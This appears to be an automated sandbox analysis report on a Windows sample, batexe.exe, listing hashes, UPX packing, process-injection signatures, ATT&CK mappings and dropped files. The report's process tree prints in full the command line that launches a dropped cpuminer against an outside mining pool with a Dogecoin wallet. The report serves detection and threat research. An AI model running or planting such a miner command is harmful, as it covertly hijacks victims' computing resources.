73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 12:08

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
924	b2e.exe
4560	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4560	cpuminer-sse2.exe
4560	cpuminer-sse2.exe
4560	cpuminer-sse2.exe
4560	cpuminer-sse2.exe
4560	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4728-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 924	4728	batexe.exe	75
PID 4728 wrote to memory of 924	4728	batexe.exe	75
PID 4728 wrote to memory of 924	4728	batexe.exe	75
PID 924 wrote to memory of 3512	924	b2e.exe	76
PID 924 wrote to memory of 3512	924	b2e.exe	76
PID 924 wrote to memory of 3512	924	b2e.exe	76
PID 3512 wrote to memory of 4560	3512	cmd.exe	79
PID 3512 wrote to memory of 4560	3512	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Users\Admin\AppData\Local\Temp\A1BE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A1BE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A1BE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A374.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A1BE.tmp\b2e.exe

Filesize
832KB

MD5
e1bd95ac3f9c6ce43914de2a53967fee

SHA1
3e03982c075df051d5a8dd837f42873f30483faf

SHA256
45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

SHA512
2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1BE.tmp\b2e.exe

Filesize
11.6MB

MD5
a087d7cbe10e67414066020f1194e062

SHA1
2223ddf52d504528c7b49ea5e72852069a059c24

SHA256
ae54389059571898724464566da3f9d9dee45a6b31957c35f799d130610cf56c

SHA512
0d0da5467c75f7508ba8e5bef0103dc18b6e8bf139aef20776b06f527f0a705e874dd323becfac2d4ee92705d0bf1f076bd722d04b1fdce09deb3a5c0cba1455

Download Submit
C:\Users\Admin\AppData\Local\Temp\A374.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
44951fa14414f13782193ad35cd1a4b5

SHA1
25dfe51a1e8a0baaba2d3e38ebf08477f75654e8

SHA256
612c54607308addb09f79c61d74f4eab5c2b62316243405ec559fa2268577b5b

SHA512
2932236cc0c41bd53dc9553292d5c88507073bf29030ae902f2faf1e19f9099b198f22ac7f99a4ae687f06427329833095ce4903991ea45b75fd73628055ce1c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.9MB

MD5
9908ec578794f5208b65fa8a9a489443

SHA1
9c81174192941efc7d775272e00318896d0fe316

SHA256
60540c9509046ec20266324ea3f478c7989b264bb63d25ab4ab2613343411162

SHA512
8485c80a4a9392eb094b0ec598c4716794a07475f33c3f5e271909454db7d1fa06385125cbf68f320543e40b7985e26cefbc0dd0425224c1031873c9500f13b2

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
61578b9cd3d4bc40287ab2bdd8629936

SHA1
22c05fc2f83684d4ea6295457b2072aa6d82b962

SHA256
9b825b63ad9f11534dd1d3e2fe94c1c52f9edfd25a3c76476e4952d3fe5ea29d

SHA512
3d80c99ab3d9820b4edafab691bd92703e0ce65fc2c198679b0f35f80ec0aefd1fa316265165159a5cfeadb24808cc4b9c8ac0d6c08d5135f77315e85fcde656

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/924-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/924-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4560-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4560-42-0x000000006DB00000-0x000000006DB98000-memory.dmp

Filesize
608KB

Download
memory/4560-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4560-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4560-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4560-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download